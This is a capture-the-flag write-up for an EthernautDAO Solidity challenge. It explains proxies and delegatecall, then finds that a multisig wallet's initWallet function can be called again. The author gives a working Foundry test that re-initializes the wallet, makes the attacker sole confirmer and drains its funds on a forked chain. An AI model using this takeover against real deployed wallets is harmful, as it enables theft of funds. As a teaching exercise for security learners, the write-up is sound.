ΞthernautDAO is common goods DAO aimed at transforming developers into Ethereum developers.
Author:
They started releasing CTF challenges on Twitter, so how couldn’t I start solving them?
The challenge starts with this Tweet:
For this challenge, we have two different smart contracts to review:
WalletLibrary: A multisig wallet library
Only deployed once, proxy contracts execute the functions via delegatecall Owners can:
- Submit a transaction
- Approve and revoke approval of pending transactions
- Anyone can execute a transaction after enough owners approved it
Wallet: A lightweight multisig wallet contract
Calls will be delegated to the wallet library contract Owners can:
- Submit a transaction
- Approve and revoke approval of pending transactions
- Anyone can execute a transaction after enough owners approved it
At the moment of deployment, the Wallet
the contract has three different owners and numConfirmationsRequired
is equal to two. This means that to execute a transaction from the wallet, at least two owners have to approve that transaction.
Our goal is to be able to add ourselves to the list of owners and execute a transaction.
Let’s review the logic of the contracts. The Wallet
contract is a lightweight multisig wallet contract. When the users interact with it, two things can happen:
receive
function will be triggered and those ethers will be stored in the contract's balance 2) Anything else, any function call, will be handled by the fallback
function. This special function will forward the call to the implementation contract via delegatecall
.In practice, Wallet
is just an implementation of the OpenZeppelin Proxy contract with some modification to automatically call the initWallet
function on the implementation contract.
One thing that is important to always check is that the storage layout of the proxy and implementation will match. Because the implementation (WalletLibrary
) will execute the logic code on the proxy's layout (Wallet
) it's fundamental that they have the same storage layout. Otherwise, the implementation will read and write from the wrong variables!
I think that before anything we should understand two things
2. Why do we need Proxy Pattern, and what is it? 2) How delegatecall
works and how it's used in the Proxy Pattern
I think that anyone here knows that when you have deployed a Contract in the blockchain, you cannot override its code, right?
You can’t do what you usually do in the web2 worlds where if you find a bug, or you want to add a new feature you just write down the code, create some tests and then deploy it in production.
You can’t do that with the current Ethereum implementation. So, what if I would like to fix a bug in my code, or I would like to add a new feature?
The answer is the Proxy Pattern. The basic idea is this:
delegatecall
to the implementation contractNow things are much more complicated than this and there are tons of security concerns that you must be aware of. I highly suggest you read some articles online and watch some videos made by Tincho Abbate because he explains this concept very, very well. When things get complicated like this, it is easy to make some mistakes!
So, we now have some basic knowledge about the proxy pattern but as we understood everything is based on the concept of delegatecall
. How does it work?
delegatecall
is a special opcode from EVM. Let's learn more about it from the Solidity Documentation:
The code at the target address is executed in the context (i.e. at the address) of the calling contract and
msg.sender
andmsg.value
do not change their values. This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.
What does it mean? Let’s use our contract as an example. When you try to execute initWallet
on the Wallet
contract, solidity will not find that function inside the code and will execute the fallback
function. The fallback
function will execute delegatecall
toward the WalletLibrary
contract, forwarding the whole operation.
This means that the code that is executed is inside WalletLibrary
but the context used is the one from the Wallet
contract. By this, I mean that msg.sender
, msg.value
and the storage is the one from the Wallet
call.
Basically, it’s like if WalletLibrary
will execute its code but on the Wallet
contract. Any to a state variable be read and write on the Wallet
storage!
Now that we know the basics of proxy and delegate calls, we can start reviewing the code and understand how it works.
When the Wallet
contract is deployed, the constructor
is executed
constructor(
address _walletLibrary,
address[] memory _owners,
uint256 _numConfirmationsRequired
) {
walletLibrary = _walletLibrary; (bool success, ) = _walletLibrary.delegatecall(
abi.encodeWithSignature("initWallet(address[],uint256)", _owners, _numConfirmationsRequired)
); require(success, "initWallet failed");
}
it sets up the walletLibrary
address (the implementation of the contract), and will call initWallet
on the walletLibrary
via delegatecall
. After that, it will check if the operation has been executed successfully; otherwise, it will revert.
After the initialization, owners
will be able to use the multisig wallet by executing these functions:
submitTransaction
to propose a transactionconfirmTransaction
to confirm a proposed transaction. At least numConfirmationsRequired
confirmations are needed to be able to execute the transactionrevokeConfirmation
to revoke a confirmation to a transactionexecuteTransaction
to execute a transaction that has at least numConfirmationsRequired
confirmationsinitWallet
functionLet’s review how the Wallet
contract is set up by the initWallet
function
function initWallet(address[] memory _owners, uint256 _numConfirmationsRequired) public {
// console.log("initWallet", _numConfirmationsRequired); require(_owners.length > 0, "owners required");
require(
_numConfirmationsRequired > 0 && _numConfirmationsRequired <= _owners.length,
"invalid number of confirmations"
); for (uint256 i = 0; i < _owners.length; i++) {
address owner = _owners[i]; require(owner != address(0), "invalid owner");
require(!isOwner[owner], "owner not unique"); isOwner[owner] = true;
owners.push(owner);
} numConfirmationsRequired = _numConfirmationsRequired;
}
The code will
owner
for the wallet is provided_numConfirmationsRequired
required to confirm a transaction is lower or equal to the number of _owners
provided otherwise the logic would stop working. You would not be able to execute a transaction if the number of confirmations needed is higher than the number of addresses that can confirmaddress(0)
and that they are uniqueonwers
array and the isOwner
mappingFrom a logical point, I see that there’s already a problem. There’s no way to revoke an existing owner
from the list of addresses that can interact with the wallet. What if one of the owners gets compromised or is a bad actor from the start? There is no way to revoke his/her access to the wallet!
Apart from that, do you see the huge security problem? Usually, in a proxy contract, you want to have a guard variable that prevents anyone from calling again the initialization function. In this function, there is no guard at all. What are the consequences of this flaw?
Well, anyone could call again and again wallet.initWallet
that will call via delegatecall
walletLibrary.initWallet
that will write in the Wallet
storage passing arbitrary values.
This means not only that I would be able to add my own address in the list of the owners
but also that I'm able to override the numConfirmationsRequired
variable and setting it to one.
This means that in just one single transaction I’m able to
numConfirmationsRequired
to 1 so only one confirmation is needed to execute a transactionwallet
ETH funds (or transfer ERC20/ERC1155/ERC721 tokens)Let’s see how it is possible in the solution part.
Now what we have to do is:
Here’s the code that I used for the test:
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;import "./utils/BaseTest.sol";
import "src/Wallet.sol";
import "src/WalletLibrary.sol";contract WalletTest is BaseTest {
Wallet private wallet;
WalletLibrary private walletLibrary; constructor() {
string[] memory userLabels = new string[](2);
userLabels[0] = "Alice";
userLabels[1] = "Bob";
preSetUp(2, 100 ether, userLabels);
} function setUp() public override {
// Call the BaseTest setUp() function that will also create testsing accounts
super.setUp(); // Attach the contract to the addresses on the fork
wallet = Wallet(payable(0x19c80e4Ec00fAAA6Ca3B41B17B75f7b0F4D64CB7));
walletLibrary = WalletLibrary(payable(0x43FF315d0003365fe1246344115A3142b9EBfe0b)); vm.label(address(wallet), "Wallet");
vm.label(address(walletLibrary), "WalletLibrary"); // We are funding the Wallet contract with 1 wei just to test the transaction that will allow us to withdraw from it!
vm.deal(address(wallet), 1);
} function testTakeOwnership() public {
address player = users[0];
vm.startPrank(player); // prepare the attack
address[] memory owners = new address[](1);
owners[0] = player; // call the `wallet.fallback` function passing the correct data to make it make a
// delegatecall to walletLibrary that will execute initWallet on Wallet's context
// initWallet should be protected by a flag that check if the contract has been initialized or not
// like require(owners.length == 0)
// by doing so we have been added to the list of owners
// but we can execute any transaction we want because we have lowered the amount of needed confirmation request
// required to only 1
(bool success, ) = address(wallet).call(abi.encodeWithSignature("initWallet(address[],uint256)", owners, 1)); assertEq(success, true);
assertEq(wallet.numConfirmationsRequired(), 1);
assertEq(wallet.owners(3), player); // Now I'm one of the owners and because numConfirmationsRequired = 1 I can execute tx
// Let's create a transaction.
(success, ) = address(wallet).call(
abi.encodeWithSignature("submitTransaction(address,uint256,bytes)", player, 1, "")
);
assertEq(success, true); // Confirm the transaction we just created
// At the moment of the creation of our transaction the transaction array was empty
// So our txIndex is 0
uint256 txIndex = 0;
(success, ) = address(wallet).call(abi.encodeWithSignature("confirmTransaction(uint256)", txIndex));
assertEq(success, true); // Execute the transaction
uint256 playerBalanceBefore = player.balance;
(success, ) = address(wallet).call(abi.encodeWithSignature("executeTransaction(uint256)", txIndex));
assertEq(success, true); // Assert that we have received 1 wei from the Wallet contract
assertEq(playerBalanceBefore + 1, player.balance); vm.stopPrank();
}
}
Here is the command I have used to run the test: forge test --match-contract WalletTest --fork-url <your_rpc_url> --fork-block-number 7178864 -vv
Just remember to replace <your_rpc_url>
with the RPC URL, you got from Alchery or Infura.
You can read the full solution to the challenge, by opening Wallet.t.sol
All Solidity code, practices, and patterns in this repository are DAMN VULNERABLE and for educational purposes only.
I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.
DO NOT USE IT IN PRODUCTION.